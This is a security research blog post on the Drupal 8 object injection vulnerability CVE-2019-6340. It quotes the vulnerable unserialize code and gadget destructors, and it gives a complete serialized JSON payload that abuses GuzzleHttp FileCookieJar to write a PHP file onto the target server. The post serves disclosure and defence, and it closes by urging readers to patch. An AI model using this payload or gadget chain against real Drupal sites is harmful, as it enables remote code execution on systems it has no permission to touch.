Summary

In February 2019, Samuel Mortenson from Drupal security team discovered a critical vulnerability in this CMS, identified as CVE-2019-6340 or SA-CORE-2019-003. This vulnerability is a kind of object injection vulnerability which my colleague mentioned in a previous research.

According to the original research, this vulnerability enables a remote code execution attack by taking advantage of the existence of module RESTful Web Services and the acceptance of HTTP method GET, PATCH and POST. I have found another way to exploit this vulnerability and will cover the following details.

The original research

Let take a look at object injection vulnerability, in order to exploit this flaw, the target have to:

  • own an unserialize function and its input can be controlled by attackers
  • own an magic method (destruct() , wakeup()) which carry out dangerous statements.

In Drupal version 8, we have such a unserialize function in LinkItem class

    // Treat the values as property value of the main property, if no array is
    // given.
    if (isset($values) && !is_array($values)) {
      $values = [static::mainPropertyName() => $values];
    }
    if (isset($values)) {
      $values += [
        'options' => [],
      ];
    }
    // Unserialize the values.
    // @todo The storage controller should take care of this, see
    //   SqlContentEntityStorage::loadFieldItems, see
    //   https://www.drupal.org/node/2414835
    if (is_string($values['options'])) {
      $values['options'] = unserialize($values['options']);
    }
    parent::setValue($values, $notify);
  }

}

Luckily, the $values['options'] is a value passed from client via API endpoint so anyone can control it, thanks RESTful Web Services for this feature.

Regarding the magic method, Samuel Mortenson used a destruct function in Fnstream.php, in which call_user_func can can execute any php function as its input.

    public function __destruct()
    {
        if (isset($this->_fn_close)) {
            call_user_func($this->_fn_close);
        }
    }

Finally, attackers can build an RCE payload as follows (PHPGGC helped us in this work)

Another attack vector

Based on the original idea, I tried to find another magic method in Drupal. By grepping, I found that FileCookieJar.php is also a great alternative. Its destruct method is not able to directly execute commands, but can write files and execute commands through those files.

  public function __destruct()
    {
        $this->save($this->filename);
    }

    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }
    ```

This method requires two parameters. The first is a local file and the second is a destination path (we must know the full path).

My payload is simply create a phpinfo file in the target, it is as follows

{
  "link": [
    {
      "value": "link",
      "options": "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000filename\";s:42:\"\/Users\/duy\/Desktop\/drupal-8.6.9\/hacked.php\";s:52:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000storeSessionCookies\";b:1;s:36:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\u0000GuzzleHttp\\Cookie\\SetCookie\u0000data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:18:\"<?php phpinfo();?>\";}}}s:39:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000strictMode\";N;}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://domain.tld/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}

I got the result

tldr;

This flaw was marked as highly critical and quickly patched by Drupal team. To avoid being attacked, let update your drupal to the latest version.